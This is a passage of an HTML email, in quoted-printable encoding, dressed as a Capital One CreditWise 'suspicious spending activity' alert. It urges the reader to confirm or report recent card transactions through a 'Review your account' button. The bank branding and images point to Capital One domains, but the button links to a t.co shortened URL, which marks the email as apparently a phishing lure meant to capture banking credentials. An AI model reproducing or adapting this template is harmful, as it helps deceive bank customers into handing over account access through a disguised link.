olid">&nbsp;</DIV></TD></TR></TBODY></TABLE>
<TABLE class=3D"v1darkmode v1header" style=3D"BOX-SIZING: border-box; BORDE=
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<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 16px; PADDING-TOP: 16p=
x; PADDING-LEFT: 24px; PADDING-RIGHT: 24px">
<H1 style=3D"BOX-SIZING: border-box; FONT-WEIGHT: 500; MARGIN: 0px; LINE-HE=
IGHT: 1.2"><A style=3D"BOX-SIZING: border-box; TEXT-DECORATION: none; COLOR=
: rgb(0,172,255); BACKGROUND-COLOR: transparent" href=3D"https://click-noti=
fication.capitalone.com/f/a/NFuWZ3UoO9JcVMt5NrVnlw~~/AAAAARA~/KYpfo6zvnNs25=
kEMKRarDODpesUntWEJBhmqZKSGsCVp2A4JIoXpgb836pQBDOcO1YOTOrm4t1d-cFG7R19LB4W8=
YF32Y0dVCBjI8PIMoPrAzqyYN6JAx3xW1z8RXX1W" rel=3Dnoreferrer target=3D_blank>=

<IMG class=3Dv1lightimg style=3D'BORDER-TOP-STYLE: none; BOX-SIZING: border=
-box; MAX-WIDTH: 318px !important; BORDER-LEFT-STYLE: none; HEIGHT: auto; W=
IDTH: 318px; VERTICAL-ALIGN: middle; BORDER-BOTTOM-STYLE: none; COLOR: rgb(=
20,20,20); FONT: 14px/20px Optimist, "Helvetica Neue", Helvetica, Arial, sa=
ns-serif; BORDER-RIGHT-STYLE: none; DISPLAY: block; border-radius: 4px' bor=
der=3D0 alt=3D"Capital One | CreditWise"=20
src=3D"https://ecm.capitalone.com/Messaging/assets/images/logos_global/lock=
up_creditWise_3x.png" width=3D318 height=3D58></A></H1></TD></TR></TBODY></=
TABLE>
<TABLE class=3Dv1darkmode style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE:=
 collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#ffffff=
 border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D'BOX-SIZING: border-box; FONT-FAMILY: Optimist, "Helvetica Neue=
", Helvetica, Arial, sans-serif; COLOR: rgb(20,20,20); PADDING-BOTTOM: 32px=
; TEXT-ALIGN: center; PADDING-TOP: 32px; PADDING-LEFT: 24px; PADDING-RIGHT:=
 24px'>
<H2 style=3D"BOX-SIZING: border-box; FONT-SIZE: 32px; FONT-WEIGHT: 600; MAR=
GIN: 0px; LINE-HEIGHT: 46px"><SPAN style=3D"BOX-SIZING: border-box; FONT-SI=
ZE: 36px; FONT-WEIGHT: 300; LINE-HEIGHT: 46px">
<H1 style=3D"BOX-SIZING: border-box; FONT-SIZE: 20px; FONT-FAMILY: arial, h=
elvetica, sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFOR=
M: none; FONT-WEIGHT: normal; COLOR: rgb(255,255,255); FONT-STYLE: normal; =
TEXT-ALIGN: left; ORPHANS: 2; WIDOWS: 2; MARGIN: 0px; LETTER-SPACING: norma=
l; LINE-HEIGHT: 26px; BACKGROUND-COLOR: rgb(1,61,91); TEXT-INDENT: 0px; fon=
t-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke=
-width: 0px; text-decoration-thickness: initial;=20
text-decoration-style: initial; text-decoration-color: initial">Capital&nbs=
p;One<SUP style=3D"BOX-SIZING: border-box; FONT-SIZE: 13px; VERTICAL-ALIGN:=
 baseline; POSITION: relative; LINE-HEIGHT: 0px; TOP: -0.5em">&reg;</SUP>&n=
bsp;<STRONG>Card Suspicious Spending Activity</STRONG></H1></SPAN></H2></TD=
></TR></TBODY></TABLE>
<TABLE class=3Dv1darkmode style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE:=
 collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#ffffff=
 border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D'BOX-SIZING: border-box; FONT-SIZE: 16px; FONT-FAMILY: Optimist=
, "Helvetica Neue", Helvetica, Arial, sans-serif; COLOR: rgb(20,20,20); PAD=
DING-BOTTOM: 24px; TEXT-ALIGN: left; PADDING-TOP: 0px; PADDING-LEFT: 24px; =
LINE-HEIGHT: 24px; PADDING-RIGHT: 24px'>
<P style=3D"BOX-SIZING: border-box; MARGIN: 0px"><SPAN style=3D"BOX-SIZING:=
 border-box; FONT-SIZE: 16px; FONT-WEIGHT: 400; LINE-HEIGHT: 24px">We&#8217=
;re reaching out because we&#8217;ve noticed some recent transactions on yo=
ur Capital One&reg; credit card that don&#8217;t match your usual spending =
pattern.<BR><BR></SPAN><SPAN style=3D"BOX-SIZING: border-box; FONT-SIZE: 16=
px; FONT-WEIGHT: 400; LINE-HEIGHT: 24px">
If you recognize these purchases, please confirm that they&#8217;re valid s=
o we can ensure uninterrupted access to your account. If you don&#8217;t re=
cognize them, let us know right away so we can help protect your card from =
unauthorized use.</SPAN></P></TD></TR>
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; PADDING-BOTTOM: 8px; P=
ADDING-TOP: 0px; PADDING-LEFT: 0px; LINE-HEIGHT: 0; PADDING-RIGHT: 0px">&nb=
sp;</TD></TR></TBODY></TABLE>
<TABLE class=3Dv1darkmode style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE:=
 collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#ffffff=
 border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 24px; TEXT-ALIGN: cent=
er; PADDING-TOP: 0px; PADDING-LEFT: 24px; PADDING-RIGHT: 24px">
<TABLE class=3Dv1cssbutton style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE=
: collapse; border-radius: 4px" cellSpacing=3D0 cellPadding=3D0 align=3Dcen=
ter bgColor=3D#0276b1 border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD class=3Dv1cssbutton style=3D"BOX-SIZING: border-box; TEXT-ALIGN: center=
; LINE-HEIGHT: 30px" width=3D300><A style=3D'BOX-SIZING: border-box; TEXT-D=
ECORATION: none; WIDTH: 300px; COLOR: rgb(0,172,255); FONT: 20px/30px Optim=
ist, "Helvetica Neue", Helvetica, Arial, sans-serif; DISPLAY: inline-block;=
 BACKGROUND-COLOR: transparent' href=3D"https://t.co/dFiABDNZgO" rel=3Dnore=
ferrer target=3D_blank>
<STRONG style=3D"BOX-SIZING: border-box; FONT-WEIGHT: 400; COLOR: rgb(255,2=
55,255); PADDING-BOTTOM: 9px; PADDING-TOP: 9px; PADDING-LEFT: 16px; DISPLAY=
: inline-block; PADDING-RIGHT: 16px">Review your account</STRONG></A></TD><=
/TR></TBODY></TABLE>
<P>&nbsp;</P>
<P>If you recognize the transaction, no further action may be needed. If yo=
u do not, please report it immediately so we can take steps to safeguard yo=
ur account.</P></TD></TR>
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; PADDING-BOTTOM: 8px; P=
ADDING-TOP: 0px; PADDING-LEFT: 0px; LINE-HEIGHT: 0; PADDING-RIGHT: 0px">&nb=
sp;</TD></TR></TBODY></TABLE>
<TABLE class=3Dv1darkmode style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE:=
 collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#ffffff=
 border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 0px; PADDING-TOP: 0px;=
 PADDING-LEFT: 0px; PADDING-RIGHT: 0px">
<TABLE style=3D"BOX-SIZING: border-box; MAX-WIDTH: 544px; WIDTH: 544px; BOR=
DER-COLLAPSE: collapse; MARGIN: 0px auto" cellSpacing=3D0 cellPadding=3D0 a=
lign=3Dcenter border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box">
<TABLE class=3Dv1darkaccent style=3D"BOX-SIZING: border-box; BORDER-COLLAPS=
E: collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#f4f4=
f4 border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; PADDING-BOTTOM: 24px; =
PADDING-TOP: 0px; PADDING-LEFT: 0px; LINE-HEIGHT: 0; PADDING-RIGHT: 0px">&n=
bsp;</TD></TR>
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D'BOX-SIZING: border-box; FONT-FAMILY: Optimist, "Helvetica Neue=
", Helvetica, Arial, sans-serif; COLOR: rgb(20,20,20); PADDING-BOTTOM: 24px=
; TEXT-ALIGN: center; PADDING-TOP: 0px; PADDING-LEFT: 24px; PADDING-RIGHT: =
24px'>
<H2 style=3D"BOX-SIZING: border-box; FONT-SIZE: 24px; FONT-WEIGHT: 600; MAR=
GIN: 0px; LINE-HEIGHT: 36px"><SPAN style=3D"BOX-SIZING: border-box; FONT-WE=
IGHT: 300"></SPAN>&nbsp;</H2></TD></TR>
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; PADDING-BOTTOM: 0px; T=
EXT-ALIGN: center; PADDING-TOP: 0px; PADDING-LEFT: 12px; PADDING-RIGHT: 12p=
x" dir=3Dltr><SPAN>&nbsp;</SPAN>=20
<DIV class=3Dv1column style=3D"BOX-SIZING: border-box; MAX-WIDTH: 417px; WI=
DTH: 417px; VERTICAL-ALIGN: top; DISPLAY: inline-block">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" dir=3Dlt=
r cellSpacing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D'BOX-SIZING: border-box; FONT-FAMILY: Optimist, "Helvetica Neue=
", Helvetica, Arial, sans-serif; COLOR: rgb(20,20,20); PADDING-BOTTOM: 8px;=
 TEXT-ALIGN: left; PADDING-TOP: 0px; PADDING-LEFT: 12px; PADDING-RIGHT: 12p=
x'>
<H2 style=3D"BOX-SIZING: border-box; FONT-SIZE: 16px; FONT-WEIGHT: 600; MAR=
GIN: 0px; LINE-HEIGHT: 24px"><STRONG style=3D"BOX-SIZING: border-box; FONT-=
WEIGHT: bolder">Payment<SPAN>&nbsp;</SPAN></STRONG><STRONG style=3D"BOX-SIZ=
ING: border-box; FONT-WEIGHT: bolder">history<BR class=3Dv1softBreak style=
=3D"BOX-SIZING: border-box"></STRONG><SPAN style=3D"BOX-SIZING: border-box;=
 FONT-WEIGHT: 600; COLOR: rgb(1,61,91)">9/9</SPAN><SPAN style=3D"BOX-SIZING=
: border-box; FONT-WEIGHT: 600; COLOR: rgb(1,61,91)"><SPAN>
 &nbsp;</SPAN>account payments made on time</SPAN></H2></TD></TR>
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D'BOX-SIZING: border-box; FONT-SIZE: 16px; FONT-FAMILY: Optimist=
, "Helvetica Neue", Helvetica, Arial, sans-serif; COLOR: rgb(20,20,20); PAD=
DING-BOTTOM: 24px; TEXT-ALIGN: left; PADDING-TOP: 0px; PADDING-LEFT: 12px; =
LINE-HEIGHT: 24px; PADDING-RIGHT: 12px'>
<P style=3D"BOX-SIZING: border-box; MARGIN: 0px">To lenders, your history o=
f on-time payments indicates whether you&#8217;ll make payments on time in =
the future.</P></TD></TR></TBODY></TABLE></DIV></TD></TR></TBODY></TABLE></=
TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<TABLE class=3Dv1darkmode style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE:=
 collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#ffffff=
 border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 0px; PADDING-TOP: 0px;=
 PADDING-LEFT: 0px; PADDING-RIGHT: 0px">
<TABLE style=3D"BOX-SIZING: border-box; MAX-WIDTH: 544px; WIDTH: 544px; BOR=
DER-COLLAPSE: collapse; MARGIN: 0px auto" cellSpacing=3D0 cellPadding=3D0 a=
lign=3Dcenter border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box">
<TABLE class=3Dv1darkaccent style=3D"BOX-SIZING: border-box; BORDER-COLLAPS=
E: collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#f4f4=
f4 border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 0px; PADDING-TOP: 0px;=
 PADDING-LEFT: 24px; PADDING-RIGHT: 24px">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac=
ing=3D0 cellPadding=3D0 align=3Dcenter border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; HEIGHT: 0px; BORDER-BO=
TTOM: rgb(125,125,125) 1px solid; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PA=
DDING-LEFT: 0px; LINE-HEIGHT: 0; PADDING-RIGHT: 0px" width=3D640>&nbsp;</TD=
></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><=
/TD></TR></TBODY></TABLE>
<TABLE class=3Dv1darkmode style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE:=
 collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#ffffff=
 border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 0px; PADDING-TOP: 0px;=
 PADDING-LEFT: 0px; PADDING-RIGHT: 0px">
<TABLE style=3D"BOX-SIZING: border-box; MAX-WIDTH: 544px; WIDTH: 544px; BOR=
DER-COLLAPSE: collapse; MARGIN: 0px auto" cellSpacing=3D0 cellPadding=3D0 a=
lign=3Dcenter border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box">
<TABLE class=3Dv1darkaccent style=3D"BOX-SIZING: border-box; BORDER-COLLAPS=
E: collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#f4f4=
f4 border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; PADDING-BOTTOM: 24px; =
PADDING-TOP: 0px; PADDING-LEFT: 0px; LINE-HEIGHT: 0; PADDING-RIGHT: 0px">&n=
bsp;</TD></TR>
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; PADDING-BOTTOM: 0px; T=
EXT-ALIGN: center; PADDING-TOP: 0px; PADDING-LEFT: 12px; PADDING-RIGHT: 12p=
x" dir=3Dltr>
<DIV class=3Dv1column style=3D"BOX-SIZING: border-box; MAX-WIDTH: 103px; WI=
DTH: 103px; VERTICAL-ALIGN: top; DISPLAY: inline-block">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" dir=3Dlt=
r cellSpacing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 24px; TEXT-ALIGN: cent=
er; PADDING-TOP: 0px; PADDING-LEFT: 12px; PADDING-RIGHT: 12px">
<IMG style=3D'BORDER-TOP-STYLE: none; BOX-SIZING: border-box; MAX-WIDTH: 70=
px !important; BORDER-LEFT-STYLE: none; HEIGHT: auto; WIDTH: 70px; VERTICAL=
-ALIGN: bottom; BORDER-BOTTOM-STYLE: none; COLOR: rgb(20,20,20); TEXT-ALIGN=
: center; FONT: 20px/30px Optimist, "Helvetica Neue", Helvetica, Arial, san=
s-serif; BORDER-RIGHT-STYLE: none' border=3D0=20
src=3D"https://mi.capitalone.com/p/rp/bed25787d806219a.png?icon_show_border=
=3Dtrue&amp;icon_color=3D013D5B&amp;icon_id=3Dprimary-loans&amp;icon_inner_=
color=3DFFFFFF&amp;icon_size=3D70&amp;icon_background=3DF4F4F4" width=3D70>=
</TD></TR>
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 8px; PADDING-TOP: 0px;=
 PADDING-LEFT: 0px; PADDING-RIGHT: 0px">&nbsp;</TD></TR></TBODY></TABLE></D=
IV><SPAN>&nbsp;</SPAN>=20
<DIV class=3Dv1column style=3D"BOX-SIZING: border-box; MAX-WIDTH: 417px; WI=
DTH: 417px; VERTICAL-ALIGN: top; DISPLAY: inline-block">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" dir=3Dlt=
r cellSpacing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D'BOX-SIZING: border-box; FONT-FAMILY: Optimist, "Helvetica Neue=
", Helvetica, Arial, sans-serif; COLOR: rgb(20,20,20); PADDING-BOTTOM: 8px;=
 TEXT-ALIGN: left; PADDING-TOP: 0px; PADDING-LEFT: 12px; PADDING-RIGHT: 12p=
x'>
<H2 style=3D"BOX-SIZING: border-box; FONT-SIZE: 16px; FONT-WEIGHT: 600; MAR=
GIN: 0px; LINE-HEIGHT: 24px"><STRONG style=3D"BOX-SIZING: border-box; FONT-=
WEIGHT: bolder">New<SPAN>&nbsp;</SPAN></STRONG><STRONG style=3D"BOX-SIZING:=
 border-box; FONT-WEIGHT: bolder">accounts<BR class=3Dv1softBreak style=3D"=
BOX-SIZING: border-box"></STRONG><SPAN style=3D"BOX-SIZING: border-box; FON=
T-WEIGHT: 600; COLOR: rgb(1,61,91)">0</SPAN><SPAN style=3D"BOX-SIZING: bord=
er-box; FONT-WEIGHT: 600; COLOR: rgb(1,61,91)"><SPAN>
 &nbsp;</SPAN>new accounts</SPAN></H2></TD></TR>
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D'BOX-SIZING: border-box; FONT-SIZE: 16px; FONT-FAMILY: Optimist=
, "Helvetica Neue", Helvetica, Arial, sans-serif; COLOR: rgb(20,20,20); PAD=
DING-BOTTOM: 24px; TEXT-ALIGN: left; PADDING-TOP: 0px; PADDING-LEFT: 12px; =
LINE-HEIGHT: 24px; PADDING-RIGHT: 12px'>
<P style=3D"BOX-SIZING: border-box; MARGIN: 0px">To lenders, opening too ma=
ny new accounts in a short window of time could point to credit problems.</=
P></TD></TR></TBODY></TABLE></DIV></TD></TR></TBODY></TABLE></TD></TR></TBO=
DY></TABLE></TD></TR></TBODY></TABLE>
<TABLE class=3Dv1darkmode style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE:=
 collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#ffffff=
 border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 0px; PADDING-TOP: 0px;=
 PADDING-LEFT: 0px; PADDING-RIGHT: 0px">
<TABLE style=3D"BOX-SIZING: border-box; MAX-WIDTH: 544px; WIDTH: 544px; BOR=
DER-COLLAPSE: collapse; MARGIN: 0px auto" cellSpacing=3D0 cellPadding=3D0 a=
lign=3Dcenter border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box">
<TABLE class=3Dv1darkaccent style=3D"BOX-SIZING: border-box; BORDER-COLLAPS=
E: collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#f4f4=
f4 border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 0px; PADDING-TOP: 0px;=
 PADDING-LEFT: 24px; PADDING-RIGHT: 24px">
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac=
ing=3D0 cellPadding=3D0 align=3Dcenter border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; HEIGHT: 0px; BORDER-BO=
TTOM: rgb(125,125,125) 1px solid; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PA=
DDING-LEFT: 0px; LINE-HEIGHT: 0; PADDING-RIGHT: 0px" width=3D640>&nbsp;</TD=
></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><=
/TD></TR></TBODY></TABLE>
<TABLE class=3Dv1darkmode style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE:=
 collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#ffffff=
 border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 0px; PADDING-TOP: 0px;=
 PADDING-LEFT: 0px; PADDING-RIGHT: 0px"></TD></TR></TBODY></TABLE>
<TABLE class=3Dv1darkmode style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE:=
 collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#ffffff=
 border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; PADDING-BOTTOM: 32px; =
PADDING-TOP: 0px; PADDING-LEFT: 0px; LINE-HEIGHT: 0; PADDING-RIGHT: 0px">&n=
bsp;</TD></TR></TBODY></TABLE>
<TABLE class=3Dv1darkmode style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE:=
 collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#ffffff=
 border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 24px; TEXT-ALIGN: cent=
er; PADDING-TOP: 0px; PADDING-LEFT: 24px; PADDING-RIGHT: 24px"></TD></TR>
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; PADDING-BOTTOM: 8px; P=
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